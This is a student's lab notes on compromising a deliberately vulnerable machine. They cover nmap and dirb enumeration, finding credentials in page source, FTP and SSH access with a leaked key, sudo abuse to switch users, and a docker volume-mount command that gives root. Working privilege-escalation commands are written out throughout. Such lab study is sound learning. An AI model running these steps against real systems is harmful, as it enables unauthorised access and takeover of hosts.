#InvestigationMethodology

To reach an IP address of a system on a network, we do first dhclient -v nmap -sT -p80 -vv 192.168.254.0/24 | grep open

80 is used because generally the 80th port is open.

in the results we have seen 2 ip addresses 192.168.254.254 (for the router) 192.168.254.166 (it's the remote host) we go to this address on the web browser

result is:

![[Pasted image 20240419101809.png]]

this is the result. we have discovered 2 different IPs vulnerable on the network. ---.254 is for the router, ---.166 is for the PC.

nikto -h (ip address of the host) tool to find ::: Nikto est un scanner de vulnérabilité en ligne de commande logiciel gratuit qui analyse les serveurs Web à la recherche de fichiers/CGI dangereux, de logiciels serveur obsolètes et d'autres problèmes.

![[Pasted image 20240419113519.png]]

here we see that robots.txt might have something; we visit it

![[Pasted image 20240419113603.png]]

we see that we can go to /nothing

![[Pasted image 20240419113637.png]]

there's nothing there too.

we use another way for exploiting. we'll use dirbuster

in dirbuster , put the ip address (http://192.168.254.166:80 with the port number) and click browse. go to share and dirbuster folder.

/usr/share/dirbuster/wordlists

![[Pasted image 20240419114356.png]]

we select the list and click start. results go like this ![[Pasted image 20240419114706.png]]

GUI did give an error. So we'll do this on the command line dirb http://192.168.254.166 /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

dirb http://192.168.254.137:80 /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

![[Pasted image 20240419121116.png]]

---

Study this again !!

tail -f /var/log/apache2/access.log

cat fichier.txt / .log

| grep GET | AWK {print$2 $8}

---

We use dirbuster to find secret URLs on the website.

We have found hidden_text so we go to 192.168.254.166/hidden_text

![[Pasted image 20240419135859.png]]

we check pwned.vuln and see this

![[Pasted image 20240419140152.png]]

in the page source there are details ;

![[Pasted image 20240419135956.png]]

this password doesnt work on the login page. it hints ftp so we try to connect to ftp

go to terminal and connect to ftp with the ftpuser

![[Pasted image 20240419140309.png]]

we're in ! not through a vulnerability but we've found a way to access to FTP.

---

we use this line to connect with the SSH key.

![[Pasted image 20240419141719.png]]

we found the path of an SSH key in the /home/ftpuser/share/id_rsa

then we connect to ariana's account because it's one of the user's in the pc.

we do ssh ariana@192.168.254.166 -i /home/ftpuser/share/id_rsa

then we're in ariana !

![[Pasted image 20240419143832.png]]

![[Pasted image 20240419143959.png]]

![[Pasted image 20240419144057.png]]

we execute the messenger.sh : to give rights to selena account

to exe: ![[Pasted image 20240419145643.png]]

inside messenger.sh we have opened another terminal inside the terminal. inside the file we give ariana the ALL (ALL) NOPASSWD rights on the file in the etc/sudoers file

and then to access to the messenger.sh file as selena we do this command: sudo -u selena /home/messenger.sh

RECAP OF WHAT WE HAVE DONE TO ACCESS

SSH --> ftpuser - /bin/bash --> SSH ariana - /bin/bash --> sudo --> selena - /bin/bash --> /home/messenger.sh --> bin/bash --> selena ( dafuq ? )

inside the terminal of the bash of selena, we write this command; python3 -c 'import pty; pty.spawn("/bin/bash")'

![[Pasted image 20240419151511.png]]

[!NOTE] ariana key ; fb8d98be1265dd88bac522e1b2182140 selena key ; 711fdfc6caad532815a440f7f295c176

ps guaxf to see the active apps on the system.

we see that docker is active in the background.

![[Pasted image 20240419155151.png]]

in docker with docker commands we'll have the access to the root rights.

docker run -v /:/mnt --rm -it privesc chroot /mnt /bin/bash

this command helps us to move the privesc fule in the docker images to the mnt file so that we can have root rights.

![[Pasted image 20240419155939.png]]

this way i've became the root

![[Pasted image 20240419155955.png]]

192.168.254.152:2049

---